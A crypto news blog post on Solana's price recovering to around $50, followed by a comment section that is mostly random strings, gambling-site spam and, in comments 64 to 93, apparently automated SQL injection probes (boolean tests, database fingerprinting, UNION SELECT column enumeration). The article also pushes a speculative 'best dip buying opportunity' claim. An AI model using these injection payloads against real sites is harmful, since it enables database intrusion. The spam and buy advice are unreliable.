Market

Solana (SOL) recovers from 2022 lows

Norma CharetteBy
162

After reaching its lowest price in 2022, Solana (SOL) has recovered in the last few hours. The coin struggled to cross the $50 mark after two consecutive days of heavy losses. But it seems that there is a bullish momentum at the moment that could push it further. Here are the details:

  • SOL has reclaimed the $50 price after rising almost 20% in the last 24 hours.

  • Despite today’s rally, significant downside risks remain

  • SOL also remains below its 50- and 200-day EMA, suggesting it’s not over the hill just yet.

Data source: TradingView

Can Solana sustain this rally?

The broader crypto market has recovered after the crash in recent days. Solana actually gained almost 20% after suffering heavy losses. However, the rally is not decisive. Analysts warn that we are seeing a slight reset after the crash of the last two days. The general downtrend on SOL has not yet reversed, and therefore it is likely that the coin will continue to fall in the coming days.

The recapture of the $ 50 mark was a big deal and an important psychological gain for SOL bulls. However, as the coin remains under a lot of pressure below its 50- and 200-day EMA, we expect further weakness to follow.

SOL is likely to fall below $50 again and this time it could slip even further before it rises again. But if SOL can somehow continue the uptrend and close the day above $ 60, this thesis will lapse.

Does SOL offer the perfect dip?

We can agree that Solana is a big project and is likely to challenge Bitcoin and Ethereum in the future.

It was not long ago that SOL was sold for around 200 USDr. The fact that you can get it now for less than $50 is a big deal. It is by far the best dip buying opportunity on the market.

Former Crypto Boss of Facebook Launches Bitcoin Startup

Previous article

Apecoin is experiencing another uptrend

Next article

You may also like

More in Market

162 Comments

  1. eh1o3c

  2. dbxxv3

  3. iac44v

  4. 31ggdc

  5. dl44ay

  6. 78uh21

  7. pr4hy0

  8. wmta6i

  9. l91q4p

  10. i4xwv4

  11. ejes42

  12. x6ppox

  13. li43hi

  14. 0u9red

  15. qbmcd8

  16. 06dgrk

  17. xjlz19

  18. lazv4w

  19. w4ezdn

  20. dchc2q

  21. Mấy bác ơi, dạo này em thấy 898bet1.com có vẻ hot trên 898bet3333.com á. Có ai chơi rồi cho em xin ít review với. Thấy nhiều khuyến mãi hấp dẫn quá mà hơi rén! 898bet1.com

  22. ou1lef

  23. frrorz

  24. p5dgtq

  25. 0e18ka

  26. lt9m94

  27. t3jali

  28. lc44kf

  29. vnya4x

  30. jm7ifc

  31. 4j0ev3

  32. u681ey

  33. siyunt

  34. 7a1c1j

  35. cq04o5

  36. yracf3

  37. 53k2st

  38. gfzkv0

  39. v03ku9

  40. iceuiv

  41. 3zpu8s

  42. qd29sx

  43. xm7d4e

  44. 9vj777

  45. 4dtu30

  46. knwc50

  47. 9c70w7

  48. yp1aib

  49. 407f0h

  50. 1poyzq

  51. 5ic35u

  52. 7rlc1s

  53. test’

  54. test

  55. test

  56. test

  57. test

  58. test

  59. test

  60. tftkm4

  61. ukd5if

  62. LXUs

  63. pQHE

  64. pQHE’) AND 4320=4320 AND (‘scuz’=’scuz

  65. pQHE’) AND 3878=8622 AND (‘MYVl’=’MYVl

  66. pQHE’) AND 4320=4320 AND (‘Qxdz’ LIKE ‘Qxdz

  67. pQHE’) AND 4681=2340 AND (‘VTQx’ LIKE ‘VTQx

  68. pQHE”)) AND 6616=5154 AND ((“DvgF”=”DvgF

  69. pQHE) AND 4320=4320– gaVi

  70. pQHE AND 4320=4320– UUmi

  71. -7651′ OR 5389=5389– mHxc

  72. -8982′ OR (SELECT NULLIF(USER,SESSION_USER) FROM SYSIBM.SYSDUMMY1) IS NULL– yNep

  73. -3938′ OR (SELECT ‘oRiq’ FROM SYSIBM.SYSDUMMY1)=’Argf’– xyLO

  74. -3899′ OR (SELECT ALPHA(NULL) FROM VERSIONS) IS NULL– xQoO

  75. pQHE’;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3– QFUP

  76. pQHE’ UNION ALL SELECT NULL,NULL FROM VERSIONS– AvOp

  77. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– CHdu

  78. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– KmVK

  79. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– sviz

  80. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– fGwG

  81. -3579′ UNION ALL SELECT 4561,4561,4561,4561,4561 FROM VERSIONS– Jstx

  82. -6894′ UNION ALL SELECT 7159,7159,7159,7159,7159,7159,7159,7159,7159,7159,7159 FROM VERSIONS– bBHB

  83. -3713′ UNION ALL SELECT 6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099,6099 FROM VERSIONS– Pvlm

  84. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– DjzE

  85. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– egZm

  86. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– oPLG

  87. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– zzkh

  88. -6871′ UNION ALL SELECT 6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403,6403 FROM VERSIONS– RnaH

  89. -8875′ UNION ALL SELECT 6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785,6785 FROM VERSIONS– IGOU

  90. -2914′ UNION ALL SELECT 9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256,9256 FROM VERSIONS– rWNI

  91. -3965′ UNION ALL SELECT 7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017,7017 FROM VERSIONS– Xdmb

  92. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– xppR

  93. pQHE’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM VERSIONS– UFrT

  94. pQHE

  95. pQHE

  96. pQHE

  97. pQHE

  98. pQHE

  99. pQHE

  100. pQHE

  101. pQHE

  102. pQHE

  103. pQHE

  104. pQHE

  105. pQHE

  106. pQHE

  107. pQHE

  108. pQHE

  109. pQHE

  110. pQHE

  111. pQHE

  112. pQHE

  113. pQHE

  114. pQHE

  115. pQHE

  116. pQHE

  117. pQHE

  118. pQHE

  119. pQHE

  120. pQHE

  121. pQHE

  122. pQHE

  123. pQHE

  124. pQHE

  125. pQHE

  126. pQHE

  127. pQHE

  128. pQHE

  129. pQHE

  130. pQHE

  131. pQHE

  132. pQHE

  133. pQHE

  134. pQHE

  135. pQHE

  136. pQHE

  137. pQHE

  138. pQHE

  139. pQHE

  140. pQHE

  141. pQHE

  142. pQHE

  143. pQHE

  144. pQHE

  145. pQHE

  146. pQHE

  147. pQHE

  148. pQHE

  149. pQHE

  150. pQHE

  151. pQHE

  152. pQHE

  153. pQHE

  154. pQHE

  155. pQHE

  156. pQHE

  157. pQHE

  158. pQHE

  159. pQHE

  160. pQHE

  161. pQHE

  162. pQHE

Leave a reply

Your email address will not be published. Required fields are marked *